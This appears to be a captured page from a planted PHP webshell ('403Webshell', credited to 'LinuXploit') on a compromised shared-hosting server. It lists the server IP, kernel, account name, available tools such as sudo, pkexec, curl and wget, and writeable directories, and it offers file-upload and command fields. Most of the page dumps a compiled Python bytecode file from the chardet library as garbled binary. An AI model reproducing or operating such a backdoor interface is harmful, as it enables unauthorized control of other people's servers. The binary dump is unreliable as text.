403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/chardet/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/chardet/chardistribution.pyc
a

i��f0'�@sddlmZmZddlmZmZmZddlmZm	Z	m
Z
ddlmZm
Z
mZddlmZmZmZddlmZmZmZddlmZGd	d
�d
�ZGdd�de�ZGd
d�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Z dS)�)�Tuple�Union�)�BIG5_CHAR_TO_FREQ_ORDER�BIG5_TABLE_SIZE�BIG5_TYPICAL_DISTRIBUTION_RATIO)�EUCKR_CHAR_TO_FREQ_ORDER�EUCKR_TABLE_SIZE� EUCKR_TYPICAL_DISTRIBUTION_RATIO)�EUCTW_CHAR_TO_FREQ_ORDER�EUCTW_TABLE_SIZE� EUCTW_TYPICAL_DISTRIBUTION_RATIO)�GB2312_CHAR_TO_FREQ_ORDER�GB2312_TABLE_SIZE�!GB2312_TYPICAL_DISTRIBUTION_RATIO)�JIS_CHAR_TO_FREQ_ORDER�JIS_TABLE_SIZE�JIS_TYPICAL_DISTRIBUTION_RATIO)�JOHAB_TO_EUCKR_ORDER_TABLEc@s�eZdZdZdZdZdZdd�dd�Zdd�d	d
�Ze	e
efedd�dd
�Z
ed�dd�Zed�dd�Ze	e
efed�dd�ZdS)�CharDistributionAnalysisig�G�z��?g{�G�z�?�N��returncCs2t�|_d|_d|_d|_d|_d|_|��dS)NrgF)�tuple�_char_to_freq_order�_table_size�typical_distribution_ratio�_done�_total_chars�_freq_chars�reset��self�r#�|/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/chardet/chardistribution.py�__init__@sz!CharDistributionAnalysis.__init__cCsd|_d|_d|_dS)zreset analyser, clear any stateFrN)rrrr!r#r#r$r OszCharDistributionAnalysis.reset)�char�char_lenrcCsX|dkr|�|�}nd}|dkrT|jd7_||jkrTd|j|krT|jd7_dS)z"feed a character with known length����rriN)�	get_orderrrrr)r"r&r'�orderr#r#r$�feedXs
zCharDistributionAnalysis.feedcCsT|jdks|j|jkr|jS|j|jkrN|j|j|j|j}||jkrN|S|jS)z(return confidence based on existing datar)rr�MINIMUM_DATA_THRESHOLD�SURE_NOr�SURE_YES)r"�rr#r#r$�get_confidencefs�
z'CharDistributionAnalysis.get_confidencecCs|j|jkS�N)r�ENOUGH_DATA_THRESHOLDr!r#r#r$�got_enough_datawsz(CharDistributionAnalysis.got_enough_data)�_rcCsdS)Nr)r#)r"r5r#r#r$r*|sz"CharDistributionAnalysis.get_order)�__name__�
__module__�__qualname__r3r/r.r-r%r r�bytes�	bytearray�intr,�floatr1�boolr4r*r#r#r#r$r:s	rcs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�EUCTWDistributionAnalysisNrcs t���t|_t|_t|_dSr2)�superr%rrrrr
rr!��	__class__r#r$r%�s
z"EUCTWDistributionAnalysis.__init__��byte_strrcCs,|d}|dkr(d|d|ddSdS)Nr���^r�r)r#�r"rC�
first_charr#r#r$r*�sz#EUCTWDistributionAnalysis.get_order�
r6r7r8r%rr9r:r;r*�
__classcell__r#r#r@r$r>�sr>cs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�EUCKRDistributionAnalysisNrcs t���t|_t|_t|_dSr2�r?r%rrr	rr
rr!r@r#r$r%�s
z"EUCKRDistributionAnalysis.__init__rBcCs,|d}|dkr(d|d|ddSdS)Nr�rErrFr)r#rGr#r#r$r*�sz#EUCKRDistributionAnalysis.get_orderrIr#r#r@r$rK�srKcs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�JOHABDistributionAnalysisNrcs t���t|_t|_t|_dSr2rLr!r@r#r$r%�s
z"JOHABDistributionAnalysis.__init__rBcCs@|d}d|krdkr<nn|d|d}t�|d�SdS)Nr����rr))r�get)r"rCrH�coder#r#r$r*�s
z#JOHABDistributionAnalysis.get_orderrIr#r#r@r$rN�srNcs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�GB2312DistributionAnalysisNrcs t���t|_t|_t|_dSr2)r?r%rrrrrrr!r@r#r$r%�s
z#GB2312DistributionAnalysis.__init__rBcCs:|d|d}}|dkr6|dkr6d|d|dSdS)NrrrMrFrEr)r#�r"rCrH�second_charr#r#r$r*�sz$GB2312DistributionAnalysis.get_orderrIr#r#r@r$rT�srTcs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�Big5DistributionAnalysisNrcs t���t|_t|_t|_dSr2)r?r%rrrrrrr!r@r#r$r%�s
z!Big5DistributionAnalysis.__init__rBcCsR|d|d}}|dkrN|dkr:d|d|ddSd|d|dSdS)	Nrr�rF��?�@r)r#rUr#r#r$r*�sz"Big5DistributionAnalysis.get_orderrIr#r#r@r$rW�srWcs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�SJISDistributionAnalysisNrcs t���t|_t|_t|_dSr2�r?r%rrrrrrr!r@r#r$r%�s
z!SJISDistributionAnalysis.__init__rBcCs�|d|d}}d|kr&dkr8nnd|d}n.d|krLdkrbnnd|dd}nd	S||d
}|dkr~d	}|S)Nrr��������r)r[�r#)r"rCrHrVr+r#r#r$r*�sz"SJISDistributionAnalysis.get_orderrIr#r#r@r$r\�sr\cs:eZdZdd��fdd�Zeeefed�dd�Z�Z	S)�EUCJPDistributionAnalysisNrcs t���t|_t|_t|_dSr2r]r!r@r#r$r%�s
z"EUCJPDistributionAnalysis.__init__rBcCs,|d}|dkr(d|d|ddSdS)Nr�rErFrr)r#)r"rCr&r#r#r$r*�sz#EUCJPDistributionAnalysis.get_orderrIr#r#r@r$re�sreN)!�typingrr�big5freqrrr�	euckrfreqrr	r
�	euctwfreqrrr
�
gb2312freqrrr�jisfreqrrr�	johabfreqrrr>rKrNrTrWr\rer#r#r#r$�<module>sJ

Youez - 2016 - github.com/yon3zu
LinuXploit